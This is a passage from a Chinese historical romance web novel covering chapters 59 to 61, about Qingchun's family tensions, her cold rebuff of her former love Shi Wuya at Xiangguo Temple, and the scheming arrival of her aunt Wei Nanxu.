师无涯眸光凝滞,缓缓地掸开书封上的灰尘,随后点燃灯烛,盘腿坐在地上,借着月光和烛光,孜孜不倦地翻阅起来。 月光如流水薄纱落在他眉眼,烛光翩翩摇曳,倒映出棱角分明的侧脸。 师无涯越往后翻眉头拧得越紧,好似在看什么不可思议的事,他来回翻了好几遍,最终决定从三十六计的第一计开始。 这三十六计与他在兵书上所看的三十六计是两个极端,师无涯默默记下书上的每一个字。 第一计:瞒天过海。 此计要以在于不要让对方猜测到自己的意图,与兵法上的瞒天过海大致相同,只是师无涯觉得并不妥当,毕竟他的意图早已暴露。 第二计:围魏救赵。 此计要以在于困住情敌,并以此获得美人芳心,此计师无涯觉得可行 晨光熹微,日光刺破薄薄的云雾,透过窗照进房内。 师无涯眉梢一喜,得意地掂了掂手中书卷,有此书在手,定能使清秋回心转意。 —— 清秋没再去管绿柳的事,一来是因付高越和绿柳之间有了夫妻之实,她不好再回绝绿柳;二来是此事与盛婼又有些关联,不论她如何做,都会伤害其中一方。 这祸事到底是付高越惹出来的,清秋原先打算用银钱了事,如今是不能够了。 付高越记不清那晚的事,最终不忍赶绿柳出府,将她留在身边。 这两日付高越几次想来见她,清秋都称病回绝,后来是吕汀英到杏院来说合,清秋才勉强见了付高越。 吕汀英三言两语便将二人之间的症结说开,她笑道:“绿柳本是你身边多年的女使,我见她行事规矩又机灵,高越身边还没有这样的女使,绿柳有心你成全了,日后就是盛三姑娘嫁进来也有人服侍不是?” 清秋睨了一眼付高越,付高越愁眉苦脸地赔笑。 事已至此,再纠结也无益。 只是以盛婼的性子,清秋不知绿柳能否在她手下过活,往日绿柳是她身边的人,顾及着她的面子,盛婼待她们还算客气,可若是要服侍盛婼,清秋当真不知道绿柳能否安然无恙。 她并非不想成全绿柳,倘若绿柳将话早些说,也好叫她心里有个底,她再去与韦南风和付高越周旋,如此以来还可体面些。 可绿柳偏偏要选在这个节骨眼,韦南风本就对盛婼颇有微词,如今家里又要出这样一个妾,只会叫她心烦。 再说,盛婼性子直,绝不心软,她又因盛家的事,对小妾极为厌恶,就算绿柳是她曾经的女使,清秋也没有底。 “二哥哥,我不知该说些什么,倘若以后盛姐姐与绿柳起了争执,二哥哥你顾着谁?”清秋眼中含忧,试探问道。 吕汀英悄然侧目,打量着他们兄妹。 付高越思忖道:“清秋,我不会让绿柳做妾,只让她在我房里做个女使,我此生只娶妻,不纳妾。” 付家家风正,这么多年来,付彰只有一个小妾,那小妾命薄,在杭州就已病逝,留下付清岁。 自打来了汴京,前后十余年,付彰都未曾纳妾。 吕汀英道:“高越如此倒是一个痴心男儿,绿柳这姑娘伶俐,留在身边怎样都好,你们二人因此事伤了感情倒不好了。” 清秋听付高越一席话,不由得蹙眉,疑道:“二哥哥,倘若绿柳待你的心思不止如此呢,何况你二人” 闻言,付高越登时起身,沉声道:“清秋,那日的事我不记得了,我待她没有别的情意。” 吕汀英见此情形,忙起身拉过付高越,引他坐至清秋身边。 第59章 师无涯顺势捞了她一把 瞧这架势, 吕汀英怕他二人再吵起来,打趣道:“你们兄妹二人才刚说几句话,怎得又要生气了, 难不成是要我走开, 你们吵着吵着说悄悄话?” 清秋解释道:“不是这样的嫂嫂, 二哥哥,方才的话你就当我没说过,只是我不想亏欠绿柳, 若可以,你别待她优柔寡断, 若不喜欢, 便别当误了她。” 此话一出,付高越还未有所回应,反倒是清秋怔愣许久。 这句话是说给付高越听的, 可清秋却在心里回味,当年她待师无涯也是如此, 一心扑在他身上,他略一勾手,只朝她一笑, 她便巴巴的凑上去。 绿柳虽比她年长, 可喜欢这种东西如何计较重量,难不成只有她的喜欢才是最重的,旁人的就轻了吗。 付高越给不了绿柳想要的, 而绿柳却甘愿留在他身边,哪怕只是做女使。 情之一字当真是磨人。 清秋心头酸胀,复又想到另一个人,她愿意嫁给王恒, 可她待王恒好似并无别的情意,像是成全他的心意,又像是心底的愧疚。 她心疼王恒在青山寺等她两年,也能感受到他对她的爱重,越是这样清秋越无法回应那份沉重的爱意。 仿佛只有她嫁给他,这一切就扯平了。 因为从前追着师无涯十二年,她太知道求而不得的痛苦,因此她害怕看见王恒失望的眼神,害怕他满心欢喜落空。 在旁的事上清秋向来果决,唯独这桩婚事,她半推半就的走到了这一步。 付高越听清秋如此说,便放软语气,哄道:“我自然知道你的心思,我不会让绿柳受委屈,倒是你,别委屈了自己。” 吕汀英见他们情绪稍缓,忙笑道:“可别再说这些气话了,十二月中旬大娘娘在宫中设宴,说是要赏梅踏雪,你们可晓得这事?” 这两日他们兄妹二人各忙各的,连着好几日都逮不到人,想来他们还不晓得。 付高越与清秋齐齐摇头 ,吕汀英眉眼温柔,打趣道:“两个人大忙人,开春之后你们二人各有喜事,也是不在意这些了。” 二人齐齐垂首,吕汀英瞧着他们二人,实在是像,举手投足更是如出一辙,她此刻站在他们二人面前,像是学堂夫子。 “罢了,这个月你们兄妹好好歇着,旁的事有我在。”吕汀英拍了拍二人的肩。 吕汀英见他二人和好如初,便也不再多打扰,留他们说会知心话。 付高越摩挲着膝盖,时不时地抬眼,忆起往日他们嬉笑玩闹的场景,他登时起身,急切道:“方才我说的话急了些,清秋我只怕你误会了我。” 清秋昂首,摇摇头,哼声道:“当真觉得凶了我,也不赔罪,就说两句话完事了?当我三岁小孩呢,连颗糖都不肯给我吃。” 闻言,付高越心知清秋已原谅他,朝他讪讪笑道:“罢了罢了,我前些日子得的赏钱都归你,你想买些什么,都从我这儿出。” “当真?” “当真。” 清秋眉眼弯弯,一双月牙眼,笑意盈盈,她道:“飞云楼的百花糕,金缕阁的首饰头面,马行街的铺面,苏州的宋锦,南京的云锦,蜀州的” 付高越面色煞白,上前一步,捂住清秋的嘴,急道:“你狮子大开口呢,母亲还短着你的银钱了?到我这儿当强盗,你是要我的命!” 清秋不缺这些东西,不过是专门唬他的。 清秋拍开付高越的手,挑眉一笑,顽劣又明媚,“二哥哥,这些我都不要,不过今日我要去相国寺,尹姐姐常说哪儿有奇闻异书,这总成了吧。” 付高越拍拍手,理了理衣袖,扬眉道:“自然成,你若有空多去和盛三姑娘说些话,广威将军虽应下这桩亲事,可我心中却没底,也不知她心底愿不愿意。” 他总觉难为盛婼了,若以盛婼的家世来论,她或许可以嫁得高门,又或许她心中已有心上人。 心中思绪万千,付高越总觉亏欠。 往日他见盛婼盛气凌人,心中是觉她过于傲气,不似京中闺秀娴静婉转,倘使要娶妻,他有两不娶。 一不娶他妹妹这样的,太过任性。 二不娶盛婼那样的,太过骄横。 可到头来,他好似再找不到一个张扬又漂亮的姑娘了,她再骄横,也讲理。 他曾牵过她的手,他想娶她。 清秋答应付高越之后会再去将军府多陪陪盛婼,在这件事上,清秋亦不知道盛婼是如何想的,此事能将盛家的压下来,只是要以她的亲事作掩饰。 是夜。 清秋戴上幂篱,与云露一道去大相国寺,街上行人纷纷,汴京城一如既往的热闹,每一条街都有涌动不绝的游人。 大相国寺的香火旺盛,灯烛映照着长街,相国寺前围满小贩,有陈列贩卖跌打药的,也有搭起长凳卖花灯,蜡烛的,各式各样,应接不暇。 清秋裹紧碧青色披风,朝云露道:“你有喜欢的物件就买,别心软,二哥哥替我们出了。” 云露回首见付高越站在人群里,皮笑肉不笑地看着他们二人,付高越并未在相国寺停留太久,他挑了些漂亮花灯和杂嚼,转头去了将军府。 清秋沿河四处闲逛,贩书的人好似不多,但奇异的物件倒不少,什么奇珍异石都在其中,她对这些无甚兴趣,但尹惜喜欢得紧,清秋只扫了几眼。 走了好一阵,相国寺桥前有一蹲着的年青人,他面前陈列着诸多杂书,用一块青布摆出来。 清秋漫步上前,问道:“是些什么书?” 贩书郎抬头见是一姑娘,面上绽开朴实的笑,逐一介绍道:“这本是将汴京的山河志,这边是闲话本子,这是些闺阁姑娘爱看的,余下的是一些搜罗来的,叫不上名,还有的是损毁了,不晓得哪朝那代的,姑娘就当看个乐呵。” 清秋蹲下身,随手挑了旧书,书封已积灰,四角不全,像是从土里挖出来的。 “姑娘好眼力,这是《玉石录》记的是奇山异石,别的书铺都没有,我这儿的这本是独一本。”贩书郎眉头轻挑,以此表达诚意。 相国寺四下灯烛高照,泛黄的书页,倒真是像他说的那样值钱。 清秋拈起书角,仔细摸索,又对着光看那字迹,明亮的灯光穿透薄薄的纸,上头的字迹浅薄,这纸是旧纸,可那墨却不太像。 须臾,清秋眼前的光忽地暗了下来,一道黑影赫然出现在纸上。 “上回的书还有下册么?”那黑影沉吟许久才开口。 这身影,声音,很是熟悉。 清秋放下书,瞳眸轻颤,竟然是师无涯,他不去书铺来这儿买什么书。 贩书郎搓搓手,眯着眼,贼笑道:“郎君,先前我买的那一册就是独一册,不过我还有别的书,与先前那本一样是用于咳咳。” 师无涯眉头轻蹙,从怀中掏出碎银子,径直塞进贩书郎手中,他冷着脸开口:“若有旁的书一并都给我。” 贩书郎意味深长地看他一眼,悄声道:“郎君有心了,我有别的更为精妙的书,保准郎君爱不释手,茶饭不思。” 清秋埋首捧着《玉石录》乱翻,侧耳听着他二人的对话,到底是何书让师无涯如此着迷。 “姑娘,你买不买这书?”贩书郎顺手从青布下取出几本藏书,外头用黑布裹着。 清秋戴着幂篱,且又蹲着,自是不怕师无涯,她不信这副模样都能被师无涯认出。 “这书瞧着倒是有趣,卖给我吧。”清秋压低声音,伸手递出一两银子。 师无涯垂眸看向地上的一团青布,雪白的幂篱,青色披风,犹如远山之中的飘渺白雾,越瞧越眼熟。 贩书郎皱眉,为难道:“姑娘,这书要十两银子。” “十两?”清秋讶然出声,复又轻咳道,“就这书值得到五两?这上头的墨可骗不了人,前朝的墨多有消散的迹象,并不持久,而这墨久不变色,且无浓淡之分,分明是本朝所写!” 这些清秋本不清楚,是尹惜曾告诉给她的。 大相国寺周遭贩夫众多,其中货物眼花缭乱,不乏有以次充好,以假乱真之辈,尹惜被骗过几回,长了记性。 尹惜爱逛相国寺,其中真假浅浅一扫便知真假。 贩书郎一听便慌了神,讪讪笑道:“姑娘好眼力,是我瞧错了,这本原先就值一两银,对不住姑娘了。” 师无涯眉梢轻挑,眼尾上扬,侧目看着她。 清秋早已觉察到师无涯在看她,但她此刻还不能走,倒不是因为师无涯,而是那贩书郎手中或许真有《玉石录》。 尹惜喜爱这类书,清秋想买他手中孤本。 “既如此,不妨让我瞧瞧你手中的孤本,我愿出十五两。”清秋仍压着声说话,仰首朝卖货郎说道。 卖货郎笑意僵在脸上,若是失去了原本,之后他还如何作假。 “姑娘我手上只有这本。”他笑得生硬。 师无涯唇畔含笑,手中还提着书,他立在原地看着他二人。 “这倒也没什么,不过卖假书给我,我可是要去官府告你的,你若把真的卖给我,我再出五两,如何?”清秋不疾不徐,声调轻盈。 “这这这这哎呀!我手头的书,都被你们姑娘卖走了!”卖货郎欲哭无泪,先前他手上有本《金石录》,也被人这样诓走了。 他怕吃官司,只好将原本卖给清秋,幂篱之后的清秋眉眼含笑,眼中染上几分得意。 清秋并未起身,而是伸出左手接过书。 师无涯眸光忽沉,盯着她纤白的手,那如白瓷一般的虎口处有浅红的疤痕。 卖货郎将书给清秋后,却不见她离开,更奇怪的是,站着的也不肯走,仿佛二人是在他跟前比定力。 “拿走了我的孤本还要挡在我面前当误我做生意。”卖货郎嘴里嘀咕,卷起地上的青布要到桥的另一边去。 他心里犯嘀咕,连带着眼睛也迷糊,他只刚上桥便撞到一美艳妇人,书卷落了一地,那妇人转头睨他一眼。 闻声,清秋朝那卖货郎望去,却发觉那妇人身形有几分眼熟,隔着幂篱清秋瞧得并不真切。 美艳妇人似有所感,朝清秋所在之处望了一眼。 不过片刻,那妇人消失在人潮之中,卖货郎也已在桥对面安置好。 清秋蹲得双腿发麻,心里盼着师无涯快些走,不对,她怕他作甚。 思及此,清秋利索起身,因蹲得久,她起身时腿筋一颤,一个踉跄踱步,险些跌进河里。 “付二姑娘。” 师无涯顺势捞了她一把,将她拽稳。 第60章 “抱歉,师郎君我不记得了。…… 长月高照, 河边风冷,几盏花灯顺水漂流。 清秋只觉师无涯搭在她手腕上的手极其恶心,清秋迅速收回手, 淡声道:“师郎君见着我还是爱动手动脚。” 师无涯抽回手, 垂眸凝视着倏然腾空的手腕。 掌心还有她肌肤的余温, 师无涯对她的讥讽不以为意,只道:“付二姑娘一如既往的笨不是?” 笨? 清秋气笑了,但又觉得不必同师无涯置气, 否则就是让师无涯得逞。 “还成,用二十两银换得前朝孤本, 我不觉得亏。”清秋淡声说着, 视线逐渐下移,看向师无涯手中提着的黑布。 清秋疑道:“师郎君是买的什么书?” 闻言,师无涯心下一慌, 鬼使神差地将东西藏到身后,此刻他脑子里满是追妻三十六的第一计, 瞒天过海。 这也瞒不过啊 清秋将他的动作一览无余,原本不好奇的,可师无涯一藏, 却让她生出好奇, 是什么书如此的见不得人。 “师郎君的书见不得人?”清秋故作疑问,语调娇俏。 师无涯见她上前来,他忙往后退, 眸光慌乱起来。 “付二姑娘,请自重。”师无涯情急之下,对清秋说出这句话。 清秋轻笑出声,讽道:“这句话还是留着师郎君说给自己听吧, 师郎君可要记着这句话。” “倒也不必太自重。”师无涯清清嗓子,飞快地回应。 清秋无心与他掰扯,这么多回,也没见师无涯当真把她的话放在心上,倘若师无涯能听她的,她就不会再见到他了。 师无涯见她要走,追上前去,急道:“你答应我的事,还没告诉我。” 清秋顿步,背对着他,懒懒道:“什么事?” “杭州的宅子,你卖给谁了。”师无涯眸光一滞,神色复杂。 “这事啊,”清秋拖长尾音,似在思索,良久她笑道:“抱歉,师郎君我不记得了。” 师无涯咬牙切齿,却又奈何不得她,只恨恨出声喊道:“付清秋!” “我该回了,师郎君也回罢。”清秋轻柔一笑,对他的愤然不屑一顾。 清秋抬步要走,却见身旁一道墨色身影飞快拦在身前,手中还提着黑布紧紧不放,即使隔着幂篱,清秋也能感受到他眉目之间的怒气,还有几分无可奈何的悲愤。 师无涯越是如此,清秋越是快意。 师无涯横眉怒目,咬牙道:“你骗我?” 清秋颔首,淡声道:“没骗,忘记了。” 话落,清秋觉察到他手心的黑布逐渐被攥紧,黑布褶皱挤在一块,像是被扭曲的漩涡。 “师郎君,我记性不太好,见谅,不过你拦在我面前是何意?”清秋缓声道,“这儿是汴京,你若是拦着我,我便要喊人了。” 相国寺前人多混杂,她一出声必有巡卫赶来,倒时麻烦的就是师无涯了。 “清秋,我有话对你说。”师无涯轻声道。 清秋漠然道:“师郎君,可我却没有话要对你说,再多的话,我都不想听,往后也不必对我说。” 师无涯想说什么,她不想知道,如今她也不想听。 语罢,清秋绕开师无涯,师无涯愣在原地,只这几句话,叫他怅惘失神,不敢进一步去问清秋,亦不敢强迫她听自己的那些话。 皎月清风,河畔的风幽冷凉薄,清秋与他擦身而过,他微微抬手,旋即又颤颤放下。 师无涯回身目送清秋离开,那一抹犹如远山的背影消失在茫茫夜色,他再看不见清秋的身影,就仿佛他二人渐行渐远。 清秋一路往回走,她欲寻云露一道回宅,却不想没见到云露。 见云露不知去向,清秋闲来无事,缓步向大相国寺里去,大相国寺香火鼎盛,此夜来往经商的人颇多。 “小娘子留步。” 身后有一人出声喊住她,清秋顿步回首,眼前是位年老的师父,身披袈裟,声如古朴洪钟,他眉目间似有笑意。 清秋瞧不真切,只听他道:“小娘子,今日相国寺内有位贵客,小娘子不妨改日再来。” 相国寺内灯烛映天,唯独大殿紧闭,清秋倒没发觉,若不是他出言提醒,她恐怕就要推门而入了。 清秋不便再问,朝那师父颔首施礼。 天色渐晚,清秋在相国寺桥头等到云露,二人一同回宅,临行前,清秋在街巷旁的贩夫手中挑了对竹蜻蜓。 那竹子是清脆的绿,像极王恒的为人。 清秋仔细收好竹蜻蜓,回宅已是亥时,韦南风近来身子不适,早早睡下,清秋将竹蜻蜓交给云露命她小心收好,日后赠与王恒。 李妈妈正从廊下走来,见清秋款款而来,忙捧着油灯上前去。 “姑娘怎么这会来了,夫人已睡下了,姑娘也早些歇息去罢。”李妈妈慈眉善目,一双深黑的眼睛望着清秋笑道。 清秋眸光微沉,忧道:“母亲这几日总睡得早,瞧着精神不大好,可是病了?天越发的冷,怕母亲病了,我心里放心不下。” 李妈妈道:“姑娘多心了,这几日大人常回来。” 李妈妈环顾四下,见外头的女使打水匆匆走过,她忙拉过清秋,悄声道:“夫人前些日子与大人闹了脾气,这两日大人虽回来了,却不在正房里住。” 清秋凝眉,疑道:“妈妈可知道是何事?” 李妈妈眸子一转,长叹一声,话都凝在嘴边,却不肯轻易说出。 清秋柳眉深蹙,急道:“是什么事?妈妈就告诉我,母亲身边就妈妈一个知心的,难不成妈妈连我都要骗着,瞒着。” “往日我不在母亲身边尽孝,如今我回来了仍旧不能为母亲分忧,苦了母亲为我受痛。”清秋含泪道。 清秋本不知妇人生产有多疼,往日韦南风常对她提起,她也只是听听,可几个月前她守在嫂嫂身边,听着那撕心裂肺的声音,她心也跟着疼。 李妈妈听清秋这一番话,为难道:“姑娘,夫人是不想你晓得的,这些年大人与夫人隔阂颇多,一朝一夕的事,堆起来就多了,我也不知该如何同姑娘说,姑娘也别多心,夫人这些年也都熬过来了。” 韦南风与付彰不合并非一两日,其中有些事她不便同清秋说,除却先前李妈妈告诉清秋的,李妈妈还瞒下许多事。 积年旧事,翻出来只会搅得家宅不宁。 “李妈妈,我明白你与母亲一条心,心里疼惜我,可有些事我也应当晓得不是?我若一直被瞒着,岂不是成了外人?就是再为我好,也是不好了。”清秋温声劝说。 当日在杭州韦南絮说的一席话,叫清秋心有余悸。 犹豫再三,李妈妈叹道:“前几日夫人去赴宴,没曾想遇上了大人,大人正往猪儿巷去,姑娘定然不晓得那猪儿巷是什么地方。” 李妈妈眼神闪躲,压低声音道:“这些地方说出来都是污了姑娘的耳朵,夫人本想去逮大人,可最终还是打道回府了。” 清秋道:“母亲是为这事病了?” 李妈妈略微颔首,见天色已晚,李妈妈送她回杏院。 杏院里云露已歇下,剩几个老妈妈候在廊下,天渐冷,清秋遣她们回去歇着。 清秋静坐窗前,凝神看着书案上的一对竹蜻蜓,烛火飘摇,影子跟着晃动。 翌日清晨,清秋裹上狐裘,只身一人出门,云露尚未醒,她早些去宫中将东西送给王恒,途径飞云楼,清秋命人取了百花糕并一些酥饼。 不知为何,王恒在翰林院的事多了起来,已许久未归家。 宫门前,观墨缩着脖子打抖,见有马车驶来,才抖了抖身子。 “付二姑娘,我家公子说辛苦姑娘了,等到日后再来向姑娘赔罪。”观墨抖着声说话。 清秋忧道:“常也在翰林院还好么?既是有事就不要挂心外头,我这两日都候在家中,我等着他。” 观墨搓着手,憨笑道:“公子猜到姑娘会这般说。” 语罢,观墨从袖中取出一封信,上头赫然写着四个字“清秋亲启”,字如其人,清秋愣了愣,忙接过信,顺道将她带来的东西递给观墨。 清秋也写了封信,那信垫在竹蜻蜓下,是前些日子就已写好的。 只是她没想过王恒已早早备好了回信。 清秋目送观墨离开,临行前,清秋只刚踏进马车便见御街上有一繁复精巧的马车驶来,马车前所饰之物叮当作响。 幕帘之外,忽地下起了雪,伴随着涔涔铃音,轻灵的雪花落在青砖白瓦上。 自那日过后,清秋不再出门,韦南风念着吕汀英照顾团圆,不叫她请安,恰好清秋有意陪在韦南风身边。 十二月初的几场雪落得满城银装,付宅已不见绿景,尽是白茫茫一片,檐下女使扫雪逗趣。 清秋捧着手炉,李妈妈打帘引她入内,房中暖炉熏着,一进屋便浑身热络。 韦南风斜倚在榻上,见清秋来,笑道:“这几日你来得勤,想来是有事要求我了。” 清秋抿唇,娇嗔道:“母亲惯会打趣我,我来看母亲自然是想母亲的,可怜我的孝心在母亲面前什么不是。” 韦南风眉花眼笑,笑骂:“你嘴皮子也厉害起来了,十二月中旬的宫宴你的衣裳首饰可都备好了?” 十二月中旬的宫宴,大娘娘邀京中贵女进宫赴宴,虽说是赏雪宴,可去赴宴的多是朝中新贵,又或是家世显赫的姑娘。 先前为师无涯所设的庆功宴上,便有风声传出,说是要为太子和二大王选妃,可到头来也未见有谁真的被选中。 清秋猜想,头一次的宴会只是为打量贵女们的品行,这一回的则是要敲定人选。 只是大娘娘留画像究竟是何意图。 廊下积雪,檐上白絮纷飞,几只锦鸡傲然立在枝头,略一抖动晃落满地白雪。 清秋起身绕到韦南风身侧挨着坐,挽起她的手,笑道:“母亲,嫂嫂都替我备好了。” 韦南风道:“前些日子,王夫人又遣人送了好些礼品,原先王夫人送来的聘礼就已价值连城,到底是世家大族,只些零碎的礼品就已抵你半数嫁妆。” 提及嫁妆,韦南风眸光倏然一沉,她险些将那件事忘记了。 思及此,她幽幽叹气,付家本是清流人家,嫁妆少倒也没什么,不过这些年韦南风和付彰都为清秋备了许多嫁妆。 大昭厚嫁之风盛行,因此也为清秋攒下不少,可和王夫人送来的聘礼相比却是沧海一粟。 韦南风明白王恒爱重清秋,自然不会叫清秋受委屈,而王夫人性子温和,待清秋还算亲厚,如此看来,国公府倒也是个好去处了。 国公府那样显贵的人家,送来的东西自不会差,清秋心中有数,除却嫁妆其余的东西,等她嫁入国公府便还给王恒。 清秋轻声道:“嫁妆聘礼不过都是身外之物,我心里有数,母亲你身子可好些了?明儿我去飞云楼取些酥饼果子回来孝敬母亲,我就安心陪在母亲身边。” 清秋陪韦南风说了一上午的话,午间用饭时,李妈妈急匆匆地奔来,径直打帘入内。 李妈妈眸光一转,径直走向韦南风,附耳道:“夫人,韦家二姑娘来了。” 韦南风踌躇地放下碗箸,神情复杂,李妈妈轻咳一声,使韦南风回过神来,韦南风朝清秋道:“你先回去,来客了。” 清秋不常见韦南风这副无措的模样,一双温和的眼眸,像是见到可怕的东西,可她那神情中更多的是一种乞求。 韦南风与李妈妈一道出去,正房里的女使请清秋回屋,清秋朝云露道:“你跟着她们一道去听听。” 云露颔首,随着一众女使往前院去。 —— 付宅正堂里一清艳妇人端坐在圈椅上,冬雪飘零之际,她衣衫单薄,手指冻得僵红。 眼尖的女使上前奉茶,轻声道:“娘子,吃些茶暖暖身子。” 韦南絮细眉轻挑,打量她一番,女使皆着粉袄,个个都生得清秀端正,韦南絮柔声道:“不必了,我是来见我姐姐的。” 女使只好退至一旁,恰此时韦南风和李妈妈快步而来。 韦南风见是韦南絮,心下一惊,面上却仍旧温和。 十年,将近十年未见的韦南絮风姿依旧,媚而不俗,而她银发早生,眉眼之间尽是疲倦,多年来在汴京游走世家贵女之间,她早已练就识人之术。 她的这个妹妹不怀好意。 “南絮,多年未见,近来可好?”韦南风笑问。 李妈妈朝身旁女使递去眼神,示意女使上茶。 方才上茶的女使正要出声说话,却见李妈妈身边的小青已奉茶至韦南絮身前,韦南絮看向上首的韦南风,眉眼轻盈。 “姐姐,好似老了许多。”韦南絮直言不讳,唇边含笑。 小青奉茶至韦南絮身前,不紧不慢地道:“娘子请用茶。” 韦南絮眉梢轻挑,轻声开口:“不必。” 小青毫不退让,复又说了一遍:“娘子请用茶。” 冬日白雪飘落,温热的茶水冒着白雾,透过茶盏腾起的水雾,韦南絮看到李妈妈轻慢的神情。 韦南絮勾了勾唇,故作委屈道:“姐姐,我不爱用这茶,我也不爱喝茶,我一路北上是来寻姐姐说话的。” 韦南风见她不愿,正欲让小青退下,此时李妈妈却开口,笑道。 “韦二姑娘,这是夫人的心意,天寒地冻的,二姑娘一路北上想来是辛苦了,喝口茶好缓缓神,再与夫人细说。” 李妈妈话说得滴水不漏,可这语气却强硬。 韦南絮往日也当家做过主母,自然晓得李妈妈话外的意思,眼下她独自一人在汴京,若是得罪了韦南风也无处可去了。 小青顺势递上茶,眉梢轻扬。 “姐姐为我考虑得周全,只是我一人上汴京来,无依无靠,还望姐姐能留我。”韦南絮轻抿一口,颤颤抬眸,直勾勾地韦南风。 韦南风旋紧手中茶盏,心下思量着这事。 按理说,她该留下这个妹妹的,可于私心,韦南风并不想留下韦南絮,毕竟付彰曾对韦南絮有情,还未等她想清,便听韦南絮低声开口。 “母亲近来身子不大好,也是想姐姐了,要我来汴京见一见姐姐,姐姐与母亲置气多年,我这个做妹妹的怎能视而不见。” 韦南絮从单薄的衣袖中抽出帕子,她轻轻拭泪,声音带几分哽咽。 “妹妹知道姐姐心里记恨母亲,其实心里也厌恶我,可总是母亲肚里出来的,前阵子我瞧着侄女回杭州心里欢喜得紧,小侄女生得与姐姐太像,引得母亲落泪,嘴里直念叨着姐姐。” 韦南风握紧茶盏,忧道:“母亲当真如此?” 李妈妈拧紧眉头,直盯着韦南絮,见韦南风为此事着急,李妈妈上前服侍,命人周遭女使婆子退下。 韦南风本不愿打理韦南絮,偏她提及韦老太太,引得韦南风有几分动容。 李妈妈跟在韦南风身边多年,一眼便瞧出韦南絮的伎俩,韦南风心里或许也知道,只是一提及韦老太太,韦南风便失了主心骨。 韦南絮借绣帕掩笑,沁凉的指尖擦去热泪。 “姐姐,母亲还与我说了许多话,姐姐让我留下吧,过几日我便回杭州了,母亲只是想让我来见见姐姐。”韦南絮颤着声音说话。 到底是一起长大的亲姐妹,韦南风狠不下心将她撵出去,况且她实在好奇韦老太太对韦南絮说了些什么话。 李妈妈轻咳一声,韦南风恍然抬眸,见李妈妈目光担忧,韦南风心头一颤,别过眼去看韦南絮。 韦南风朝她道:“留下吧。” 话音甫落,李妈妈低声道:“姑娘。” 韦南絮微微颔首,她没曾想过竟然这么容易就说服了韦南风,原以为要废好大的功夫,看来她这个姐姐也没什么本事。 韦南风已应下韦南絮,李妈妈不好再劝阻,只得先命小青去收拾厢房。 小青正要动身,却听韦南絮道:“姐姐,听说大侄女嫁人了,我想住那间院子,我还从未来过汴京,姐姐可否让我多留几日。” 韦南絮起身,堂外冷冽的风吹进,冻得她唇色泛白。 “你不在母亲身边尽孝,多留在汴京是为何?”韦南风疑道。 韦老太太最是疼爱韦南絮,就连她当年跟着杭州通判跑了韦老太太也只是轻轻揭过,甚至派人去给她送银钱。 后来那杭州通判死了,韦老太太又派人将她接了回来。 这样的事搁在寻常人家,早就将女儿打死,以正门风。 可韦老太太不顾家中旁的女儿的名声,硬将人接回,害得她几个庶姐在夫家受尽冷眼,后又不了了之。 韦老太太疼她,韦南絮自然敬着她韦老太太,只她开口,没有韦老太太不应的。 韦南絮身心俱冷,听到韦南风的话,从鼻腔里哼出一声,“姐姐都不在母亲跟前尽孝,怎得揪起我的错处来了。” 话音刚落,庭中传来踏雪折伞声。 “大人回来了。” 一女使匆匆来报,见着堂前站着一脸生的女子,女使愣了愣。 韦南风忙起身,急道:“还不带妹妹下去歇着。” 李妈妈上前去扯韦南絮,听着那脚步声渐近,韦南絮眸光一闪,顺着李妈妈的手劲顺势倒在地上。 地上沁凉,只刚一落地就冰得她骸骨生疼,韦南絮柔弱无骨地倒在地上,眼睫轻颤,可怜幽怨地望着韦南风。 韦南风连连蹙眉,心下又急又气,韦南絮偏在这时做出这副样子,分明是听着付彰来了。 “还不快扶起来。” 闻言,小青忙上前去扶韦南絮,岂料韦南絮刚搭上小青的手,便又不经意地滑下。 付彰踏进堂内,见地上一女子背对着他,衣衫单薄地倒在地上,先是一怔,随后上前两步,他认出韦南絮来,心下讶然。 韦南絮眼波流转,悄然抬眸,直勾勾地望向付彰,她见付彰仍如当年,只鬓间多了些许银丝。 她心下思量,为何从前未发觉付彰竟生得有几分周正毅然,岁月磋磨了她的年岁,却为眼前人添几分矜重。 60-70 第61章 低劣的把戏 庭前积雪已深, 堂屋虽有暖炉,但因木门大敞,并不暖和。 韦南絮微微仰头, 咬紧下唇, 眼底蓄泪, 柔声道:“姐夫” 语毕,韦南絮含羞带怯地垂头。 韦南风坐在上首,见韦南絮如此做派, 心下生悔,不该让她留在付宅, 况如今又被付彰瞧见, 不知他二人又要掀起什么风浪来。 付彰微怔,愣了一会,才上前去扶她起身, 小声喃喃道:“南絮。” 他的手触到韦南絮冰凉的手,不由得心口一颤, 韦南絮目光留恋,指尖有意无意地划过他的手。 韦南絮听得清楚,眉梢轻轻一挑, 余光瞥见韦南风无可奈何的模样。 “姐夫, 我近来汴京是为见姐姐来的。”韦南絮垂首道。 付彰不动声色地抽回手,漆黑的眼眸扫向韦南风,见韦南风无动于衷, 付彰眸光忽沉,转而朝韦南絮温和一笑。 这一笑叫韦南风慌了神。 她与付彰多年夫妻,却极少看他笑。 这么多年来,付彰心里头还是有韦南絮, 韦南风心口酸胀,只是她面上不显,反而舒展笑颜。 “妹妹远道而来,大人还是让妹妹歇会,若有话说晚些时候闲下来再说罢。”韦南风轻吐口气,命李妈妈去收拾厢房。 语罢,韦南风转头离开,留韦南絮与付彰在堂前独处。 李妈妈本想劝韦南风留下,毕竟他二人曾经有情,若是 “夫人。”李妈妈忧道。 韦南风额角抽疼,淡声道:“我拦不住的,这么多年了,我以为我在他心中是有重量的。” 付彰给她的,是正室的体面,她为他生儿育女,操持后院,十余年她以为付彰待她不应该只有几分尊重。 李妈妈不好再劝,静静垂眸。 —— 云露回杏院时,已是申时一刻,她一路小跑,脑子里止不住的想先前在杭州的事。 若是韦南风晓得杭州的事,又怎会这么客气的招待韦南絮,这其中定然有事,云露不敢往下猜。 杏院里的雪还未轻扫,青梅树下一狸奴在绿裙姑娘怀中蜷着。 “姑娘。” 云露放慢步子,缓步走至清秋身边,“是,是夫人的妹妹,韦家二姑娘来了。” 此话一出,清秋愕然抬眸,脑海中忽地闪过一个人影。 那夜在大相国寺见到的人,好像就是韦南絮,可韦南絮为何会出现在汴京,她不应留在韦老太太身边么。 “你可知道她为何来汴京?”清秋轻声问道。 瞳瞳蜷在清秋腿上,哼哧哼哧的踩着清秋的绿罗衫。 云露道:“只说是韦老太太想夫人了,这才让韦家二姑娘来,还说要住几日,她只住二姑娘的院子,现下李妈妈正带人收拾。” 韦南絮上汴京实在太过奇怪,清秋心中有疑。 两月前韦南絮和韦老太太还要她嫁给韦蒲,如今却光明正大地来付家,当真是信她不会将此事告诉爹娘。 “云露,你差人回一趟杭州,顺道将我落在旧宅的地契取回来。”清秋静静道。 云露疑道:“姑娘差人回杭州作甚?” 